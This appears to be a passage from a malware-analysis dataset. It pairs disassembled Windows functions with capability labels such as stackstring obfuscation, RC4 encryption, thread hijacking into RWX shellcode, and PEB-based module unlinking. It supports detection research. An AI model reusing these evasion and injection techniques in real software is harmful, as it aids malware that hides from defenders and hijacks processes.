joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000aa65
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x10087400]
movups xmmword [ebp - 0x34], xmm0
push ebx
movaps xmm0, xmmword [0x100873f0]
xor ebx, ebx
movups xmmword [ebp - 0x24], xmm0
mov ecx, ebx
movaps xmm0, xmmword [0x100871d0]
push esi
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x1000aa92
push ebx
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], bl
push eax
push ebx
push 0x10095c14
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000ab76
push 0x10095c10
push ebx
push ebx
push 0x8004
push dword [0x10095c14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000ab76
movaps xmm0, xmmword [0x10087ec0]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x6d356364
movaps xmm0, xmmword [0x100878a0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x67317745
movaps xmm0, xmmword [0x100877f0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x24757f50
mov word [ebp - 4], 0x78
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000ab1b
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], bl
push eax
push dword [0x10095c10]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000ab76
push 0x10095c0c
push 0x800000
push dword [0x10095c10]
push 0x6801
push dword [0x10095c14]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1000ab76
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10095c08], eax
call fcn.10037b40
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10038010
mov ebx, 0x1000a9a5
push ebx
push 0x10095c04
call fcn.10037850
call fcn.10037ba0
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000abe1
mov dword [0x10095c04], 0x60f6e0
call fcn.10037b40
call esi
push eax
call fcn.10038010
push ebx
push 0x10095c04
call fcn.100373c0
call fcn.10037ba0
call fcn.10037b40
call esi
push eax
call fcn.10038010
mov ebx, 0x1000a9c7
push ebx
push 0x10095c00
call fcn.10037850
call fcn.10037ba0
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000ac3b
mov dword [0x10095c00], 0x60eab0
call fcn.10037b40
call esi
push eax
call fcn.10038010
push ebx
push 0x10095c00
call fcn.100373c0
call fcn.10037ba0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d5f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10091084]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10087980]
push ebx
mov ebx, dword [0x10095c70]
push esi
mov dword [ebp - 0x20], ecx
xor ecx, ecx
push edi
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x24], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xf
jb 0x1000d626
sub esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x33]
mov ecx, esp
push eax
call fcn.10002907
lea ecx, [ebp - 0x1c]
call fcn.10030510
add esp, 0x18
xor edi, edi
test ebx, ebx
jle 0x1000d68c
cmp dword [ebp - 8], 0x10
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000d664
sub esi, ecx
mov eax, edi
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x20]
xor byte [ecx + edi], al
inc edi
cmp edi, ebx
jl 0x1000d656
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.100027bc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038ef5
mov esp, ebp
pop ebp
ret
Function at 0x1000d97a
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x100707ce
call fcn.10039b20
mov esi, ecx
test esi, esi
je 0x1000daf9
xor ebx, ebx
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push 0x20
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.10007503
mov dword [ebp - 0x30], vtable.Packet.0
xor edi, edi
inc edi
mov dword [ebp - 4], edi
cmp dword [esi + 4], ebx
jle 0x1000da4b
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x4c]
push dword [esi + 4]
mov al, byte [eax]
mov byte [ebp - 0x14], al
call fcn.1000747e
push edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], vtable.Packet.0
call fcn.10007628
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
push eax
call fcn.1000deb3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x4c], vtable.ByteBuffer.0
call fcn.100075bc
mov eax, dword [esi + 4]
test eax, eax
jle 0x1000da4b
dec eax
lea ecx, [ebp - 0x30]
push eax
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.10007628
cmp byte [0x10095c38], 0
jne 0x1000dae2
mov eax, dword [ebp - 0x20]
mov ecx, ebx
mov edi, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x10087a90]
sub edi, eax
mov dword [ebp - 0x50], eax
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x54], bl
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xf
jb 0x1000da73
sub esp, 0x18
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.10002907
lea ecx, [ebp - 0x48]
call fcn.10030510
add esp, 0x18
test edi, edi
jle 0x1000dad6
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
cmovae esi, dword [ebp - 0x48]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000daae
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x50]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x1000daa0
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.100027bc
lea ecx, [ebp - 0x30]
call fcn.1000d897
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.100075bc
call fcn.10039aca
ret
Function at 0x1000dd97
Capabilities:
Encode data using xor

Disassembly:
push 0x54
mov eax, 0x1007080b
call fcn.10039b20
cmp byte [0x10095bdb], 0
je 0x1000dea4
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [0x10095c78]
sbb edx, dword [0x10095c7c]
mov dword [ebp - 0x5c], edx
jne 0x1000ddd2
cmp eax, 0xbb8
jb 0x1000dea4
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
movaps xmm0, xmmword [str.2v_WS_a_TFs_DW]
mov dword [0x10095c7c], edx
xor edx, edx
mov dword [0x10095c78], eax
movups xmmword [ebp - 0x58], xmm0
mov cl, byte [ebp - 0x58]
xor byte [ebp + edx - 0x57], cl
inc edx
cmp edx, 0xe
jb 0x1000ddf0
sub esp, 0x18
mov byte [ebp - 0x49], 0
lea eax, [ebp - 0x57]
mov ecx, esp
push eax
call fcn.10002907
lea ecx, [ebp - 0x48]
call fcn.10030510
add esp, 0x18
and dword [ebp - 4], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x14], 0xa1
rep stosd dword es:[edi], eax
push 0x1000
lea ecx, [ebp - 0x30]
call fcn.1000747e
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.Packet.0
call fcn.10007628
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x14], 0xa2
call fcn.10007628
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.10007425
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
sub edx, ecx
call fcn.1000c880
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.100075bc
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.100027bc
call fcn.10039aca
ret
Function at 0x1000e2fc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
mov edi, dword [0x10095bc0]
call fcn.100067bc
mov dword [edi], eax
mov ecx, esi
lea eax, [edi + 8]
push eax
call fcn.1000686d
lea eax, [edi + 0x20]
xor ebx, ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.1000686d
mov esi, eax
mov ecx, esi
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x38], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x39], al
call fcn.10006920
mov ecx, esi
mov word [edi + 0x3e], ax
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x3a], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x3b], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x3c], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x68], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x69], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x6a], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x6b], al
call fcn.10006946
mov ecx, esi
mov byte [edi + 0x6c], al
call fcn.100067bc
mov ecx, esi
mov dword [edi + 0x4c], eax
call fcn.100067bc
mov ecx, dword [0x10095bc8]
mov dword [edi + 0x50], eax
mov byte [0x10095bdb], 1
test ecx, ecx
je 0x1000e3d3
mov ecx, dword [ecx + 0x20]
test ecx, ecx
je 0x1000e3d3
call fcn.1001334e
mov eax, dword [0x10095bc4]
test eax, eax
jne 0x1000e3f7
push 0x10
call fcn.10038f06
pop ecx
mov ecx, eax
mov dword [ebp + 8], eax
call fcn.10002356
mov dword [0x10095bc4], eax
test eax, eax
je 0x1000e419
cmp byte [eax], bl
jne 0x1000e419
push ebx
push ebx
push eax
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_56
push ebx
push ebx
mov byte [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000e419
mov ecx, eax
call fcn.1000f309
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000ef94
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10091084]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10087d90]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0x6d616b2c
push esi
mov esi, ecx
mov byte [ebp - 0x20], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x1000efc1
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], bl
push eax
mov edx, 0x10092e48
lea ecx, [ebp - 0x1c]
call fcn.1000b641
mov eax, dword [esi + 0x1fc]
pop ecx
test eax, eax
je 0x1000eff4
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x8010
cmovae eax, dword [ebp - 0x1c]
push ebx
push ebx
push 1
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1000f02e
mov dword [esi + 0x14], eax
cmp byte [esi + 0x200], bl
je 0x1000f02e
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.100027bc
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10038ef5
mov esp, ebp
pop ebp
ret
Function at 0x1000f182
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10091084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x2f4], 0x776f491b
push esi
mov cl, 0x1b
mov dword [ebp - 0x2f0], 0x7f7a7457
mov dword [ebp - 0x2ec], 0x72696f48
mov eax, ebx
mov word [ebp - 0x2e8], 0x7c75
mov byte [ebp - 0x2e6], bl
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x1000f1df
mov cl, byte [ebp - 0x2f4]
jmp 0x1000f1ca
mov byte [ebp - 0x2e6], bl
mov cl, 2
mov dword [ebp - 0x2e4], 0x66766c02
mov eax, ebx
mov dword [ebp - 0x2e0], 0x662c6e6e
mov word [ebp - 0x2dc], 0x6e6e
mov byte [ebp - 0x2da], bl
xor byte [ebp + eax - 0x2e3], cl
inc eax
cmp eax, 9
jae 0x1000f221
mov cl, byte [ebp - 0x2e4]
jmp 0x1000f20c
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], bl
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1000f253
xor eax, eax
jmp 0x1000f2f9
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000f24c
push 0x2cc
lea eax, [ebp - 0x2d8]
push ebx
push eax
call fcn.10051560
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000f24c
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000f24c
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000f24c
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001a47
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000f24c
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10038ef5
mov esp, ebp
pop ebp
ret
Function at 0x1000f309
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], 0xe1e046a
mov esi, ecx
mov dword [ebp - 8], 0xe440606
push edi
mov cl, 0x6a
mov word [ebp - 4], 0x606
mov byte [ebp - 2], bl
mov eax, ebx
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 9
jae 0x1000f340
mov cl, byte [ebp - 0xc]
jmp 0x1000f331
lea eax, [ebp - 0xb]
mov byte [ebp - 2], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1000f357
xor al, al
jmp 0x1000f3ac
movaps xmm0, xmmword [0x10087dd0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x776d516b
mov dword [ebp - 0x10], 0x616460
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x16
jb 0x1000f372
lea eax, [ebp - 0x23]
mov byte [ebp - 0xd], bl
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000f353
test esi, esi
jne 0x1000f39f
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push ebx
push ebx
push 0x11
push esi
call edi
neg eax
sbb al, al
inc al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000f3b3
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000f3ed
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000f3f1
cmp edx, esi
jne 0x1000f3d6
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000f411
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000f415
cmp edx, esi
jne 0x1000f3fa
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000f435
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000f439
cmp edx, esi
jne 0x1000f41e
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000f4c5
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10091084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
call fcn.1000a117
xor ebx, ebx
test eax, eax
je 0x1000f50d
push esi
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, eax
xor eax, eax
test ecx, ecx
setne al
mov dword [ebp - 8], eax
test eax, eax
je 0x1000f513
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
jmp 0x1000f50f
mov eax, ebx
test eax, eax
jne 0x1000f51b
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x10087080]
mov ecx, ebx
movups xmmword [ebp - 0x28], xmm0
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0xe
jb 0x1000f528
mov byte [ebp - 0x19], bl
mov cl, 0xf
mov dword [ebp - 0x14], 0x6b7b610f
mov eax, ebx
mov dword [ebp - 0x10], 0x6b216363
mov word [ebp - 0xc], 0x6363
mov byte [ebp - 0xa], bl
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 9
jae 0x1000f562
mov cl, byte [ebp - 0x14]
jmp 0x1000f553
lea eax, [ebp - 0x27]
mov byte [ebp - 0xa], bl
push eax
lea eax, [ebp - 0x13]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov dword [ebp - 0x18], eax
call fcn.1000c7a6
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1000f5be
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push esi
call dword [ebp - 0x18]
test eax, eax
js 0x1000f513
cmp dword [ebp - 8], 0
ja 0x1000f513
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10038ef5
mov esp, ebp
pop ebp
ret

Function at 0x1000f5ce
Capabilities:
Resume thread

Disassembly:
push 0xc
push 0x1008bce0
call fcn.1003a120
mov esi, dword [0x10095c90]
test esi, esi
jne 0x1000f5e9
or eax, 0xffffffff
jmp 0x1000f646
and dword [ebp - 4], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1000f609
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x1000f646
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x1000f620
mov dword [ebp - 4], 0xfffffffe
push 2
pop eax
jmp 0x1000f646
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
test eax, eax
jns 0x1000f63d
mov dword [ebp - 4], 0xfffffffe
push 3
jmp 0x1000f61d
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
call fcn.1003a166
ret
Function at 0x1000f8e6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], 0x6d706502
mov esi, ecx
mov word [ebp - 8], 0x7277
push edi
mov dl, 2
mov byte [ebp - 6], bl
mov ecx, ebx
xor dl, byte [ebp + ecx - 0xb]
mov byte [ebp + ecx - 0xb], dl
inc ecx
cmp ecx, 5
jae 0x1000f91a
mov dl, byte [ebp - 0xc]
jmp 0x1000f907
sub esp, 0x18
mov byte [ebp - 6], bl
lea eax, [ebp - 0xb]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, dword [esi]
call fcn.1000bbd7
mov edi, eax
mov dword [ebp - 0x1c], 0x756f791b
add esp, 0x18
mov dword [ebp - 0x18], 0x7a777844
mov cl, 0x1b
mov dword [ebp - 0x14], 0x7a794475
mov word [ebp - 0x10], 0x7075
mov eax, ebx
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 0xd
jae 0x1000f968
mov cl, byte [ebp - 0x1c]
jmp 0x1000f959
sub esp, 0x18
mov byte [ebp - 0xe], bl
lea eax, [ebp - 0x1b]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, edi
call fcn.1000bbd7
add esp, 0x18
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000ff8a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], 0x71636002
mov esi, ecx
mov dword [ebp - 0xc], 0x6d615d67
mov cl, 2
mov word [ebp - 8], 0x71
mov edx, ebx
xor cl, byte [ebp + edx - 0xf]
mov byte [ebp + edx - 0xf], cl
inc edx
cmp edx, 8
jae 0x1000ffc1
mov cl, byte [ebp - 0x10]
jmp 0x1000ffae
sub esp, 0x18
mov byte [ebp - 7], bl
lea eax, [ebp - 0xf]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, dword [esi]
call fcn.1000bbd7
add esp, 0x18
mov dword [esi + 4], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x1000ffef
mov dword [esi + 4], ebx
movaps xmm0, xmmword [str.eyouDKzosthMrl]
mov ecx, ebx
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x1000fffc
sub esp, 0x18
mov byte [ebp - 5], bl
lea eax, [ebp - 0x13]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, dword [esi + 4]
call fcn.1000bbd7
add esp, 0x18
mov dword [esi + 8], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10010038
mov dword [esi + 8], ebx
cmp dword [esi + 8], ebx
je 0x10010050
cmp dword [0x10099f80], ebx
mov ecx, 0x10b78ba
sete dl
call fcn.1000c6ef
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010710
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
mov eax, ecx
mov dword [ebp - 4], 8
push esi
push edi
mov dword [ebp - 8], eax
xor ebx, ebx
lea edi, [eax + 8]
sub esp, 0x18
mov dword [ebp - 0x54], 0x71634002
mov esi, esp
mov dword [ebp - 0x50], 0x63525d67
mov cl, 2
mov dword [ebp - 0x4c], 0x277b7670
mov word [ebp - 0x48], 0x66
xor edx, edx
push ebx
xor cl, byte [ebp + edx - 0x53]
mov byte [ebp + edx - 0x53], cl
inc edx
cmp edx, 0xc
jae 0x10010762
mov cl, byte [ebp - 0x54]
jmp 0x1001074f
sub esp, 0x18
mov byte [ebp - 0x47], 0
lea eax, [ebp - 0x53]
mov ecx, esp
push eax
call fcn.10002907
push esi
call fcn.100072fa
mov eax, dword [ebp - 8]
add esp, 0x20
mov ecx, dword [eax]
call fcn.1000bbd7
add esp, 0x18
mov dword [ebp - 0x14], 0x7e697a1b
mov esi, eax
mov word [ebp - 0x10], 0x7a
mov cl, 0x1b
xor edx, edx
xor cl, byte [ebp + edx - 0x13]
mov byte [ebp + edx - 0x13], cl
inc edx
cmp edx, 4
jae 0x100107b0
mov cl, byte [ebp - 0x14]
jmp 0x1001079d
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x13]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, esi
call fcn.1000bbd7
add esp, 0x18
mov dword [edi - 4], eax
mov cl, 0x6a
mov dword [ebp - 0x20], 0x1a35016a
mov dword [ebp - 0x1c], 0x131e180b
xor edx, edx
mov byte [ebp - 0x18], 0
xor cl, byte [ebp + edx - 0x1f]
mov byte [ebp + edx - 0x1f], cl
inc edx
cmp edx, 7
jae 0x100107f8
mov cl, byte [ebp - 0x20]
jmp 0x100107e5
sub esp, 0x18
mov byte [ebp - 0x18], 0
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, esi
call fcn.1000bbd7
add esp, 0x18
mov dword [edi], eax
xor dl, dl
mov ecx, eax
call fcn.1000be07
mov cl, 5
mov dword [ebp - 0x2c], 0x755a6005
mov dword [ebp - 0x28], 0x7c717764
xor edx, edx
mov byte [ebp - 0x24], 0
xor cl, byte [ebp + edx - 0x2b]
mov byte [ebp + edx - 0x2b], cl
inc edx
cmp edx, 7
jae 0x10010848
mov cl, byte [ebp - 0x2c]
jmp 0x10010835
sub esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x2b]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, esi
call fcn.1000bbd7
add esp, 0x18
mov dword [edi + 4], eax
xor dl, dl
mov ecx, eax
call fcn.1000be07
mov cl, 0xf
mov dword [ebp - 0x44], 0x50686d0f
mov dword [ebp - 0x40], 0x627d6061
xor edx, edx
mov word [ebp - 0x3c], 0x636e
mov byte [ebp - 0x3a], 0
xor cl, byte [ebp + edx - 0x43]
mov byte [ebp + edx - 0x43], cl
inc edx
cmp edx, 9
jae 0x1001089f
mov cl, byte [ebp - 0x44]
jmp 0x1001088c
sub esp, 0x18
mov byte [ebp - 0x3a], 0
lea eax, [ebp - 0x43]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, esi
call fcn.1000bbd7
add esp, 0x18
mov dword [edi + 8], eax
xor edx, edx
mov dword [ebp - 0x38], 0x3d050062
mov cl, 0x62
mov dword [ebp - 0x34], 0xe030f11
mov word [ebp - 0x30], 0xe
mov eax, edx
xor byte [ebp + eax - 0x37], cl
inc eax
cmp eax, 8
jae 0x100108e7
mov cl, byte [ebp - 0x38]
jmp 0x100108d8
sub esp, 0x18
